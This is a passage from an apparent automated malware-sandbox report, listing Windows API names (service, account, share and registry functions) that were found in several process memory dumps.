"GetSecurityDescriptorControl"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "SetServiceObjectSecurity"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceConfig"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "RtlCreateServiceSid"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "ConvertSidToStringSid"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "CryptBinaryToStringW"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "ConvertStringSecurityDescriptorToSecurityDescriptorW"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "OpenServiceW"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "ChangeServiceConfigW"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceConfigW"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "ConvertSidToStringSidW"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "EnumServicesStatusExW"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "StartServiceW"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "ConvertSecurityDescriptorToStringSecurityDescriptorW"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceStatus"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "CreateServiceW"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "CryptStringToBinaryW"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "UuidFromStringW"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "UuidEqual"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "UuidToStringW"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "RpcStringFreeW"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "RtlInitUnicodeString"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "RtlAdjustPrivilege"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "NdrClientCall2"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "I_RpcExceptionFilter"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFree"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "DelayLoadFailureHook"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "BitBlt"; Source: "00000000-00005776.00000000.141143.BCCEB000.00000004.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00005776.00000000.141143.BCCEB000.00000004.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00005776.00000000.141143.BCCEB000.00000004.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00007004.00000000.142431.466CA000.00000004.mdmp") Found reference to API (Indicator: "QueryServiceStatus"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "ControlService"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountSidLocalW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "LsaClose"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "LsaOpenPolicy"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "LsaQueryInformationPolicy"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "LsaLookupNames2"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "LsaFreeMemory"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "LsaLookupSids"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetServerEnum"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "LsaLookupNames"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "SamLookupNamesInDomain"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "SamOpenDomain"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "SamEnumerateAliasesInDomain"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "SamOpenAlias"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "SamGetAliasMembership"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "SamLookupIdsInDomain"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "SamConnect"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "SamCloseHandle"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "SamFreeMemory"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "SamGetMembersInAlias"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetUserModalsGet"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetUserModalsSet"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetApiBufferFree"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetUserAdd"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetUserDel"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetSessionEnum"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetGroupDelUser"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultLCID"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetGroupAdd"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetGroupGetInfo"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetGroupSetInfo"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetGroupGetUsers"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetGroupEnum"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetGroupAddUser"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetGroupDel"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetWkstaGetInfo"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetServerTransportEnum"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetWkstaTransportEnum"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetLengthSid"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "CopySid"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetSidLengthRequired"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetSidSubAuthority"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetSidSubAuthorityCount"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetConnectionEnum"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetShareGetInfo"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "AddAccessAllowedAce"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetShareCheck"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetShareEnum"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetShareSetInfo"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "InitializeAcl"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetShareDel"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetShareAdd"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "CreateWellKnownSid"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetAce"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetSecurityDescriptorDacl"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "SetLocalTime"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "SetSystemTime"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "DsGetDcNameW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetRemoteTOD"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetTimeFormatW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetDateFormatW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetUserSetInfo"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetUserGetGroups"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetUserEnum"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetUserGetInfo"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "OpenServiceW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetUseEnum"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetUseDel"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "EnumServicesStatusExW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "StartServiceW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleMode"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "PeekConsoleInputW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetWkstaUserGetInfo"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetServerGetInfo"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NetServerSetInfo"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetProfileStringW"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NtQuerySystemTime"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RtlGetNtProductType"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RtlLengthSid"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RtlTimeToSecondsSince1970"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RtlAllocateHeap"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RtlCompareMemory"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "DelayLoadFailureHook"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NtOpenProcessToken"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RtlInitializeSid"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RtlSubAuthoritySid"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RtlSubAuthorityCountSid"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RtlLengthRequiredSid"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NtClose"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RtlCopySid"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RtlTimeFieldsToTime"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NtAdjustPrivilegesToken"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "NtSetInformationThread"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RtlQueryTimeZoneInformation"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RtlInitUnicodeString"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RtlInitAnsiString"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RtlOemStringToUnicodeString"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RtlInitString"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "RtlxOemStringToUnicodeSize"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API (Indicator: "BitBlt"; Source: "00000000-00007248.00000000.141465.CBDAD000.00000004.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00007248.00000000.141465.CBDAD000.00000004.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00007248.00000000.141465.CBDAD000.00000004.mdmp") Found reference to API (Indicator: "RegConnectRegistryW"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "WNetCancelConnection2W"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "WNetAddConnection2W"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleCtrlHandler"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleMode"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "CreateWellKnownSid"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "OpenEventW"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleScreenBufferInfo"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "FillConsoleOutputCharacterW"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "FillConsoleOutputAttribute"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleCursorPosition"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "CreateConsoleScreenBuffer"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to 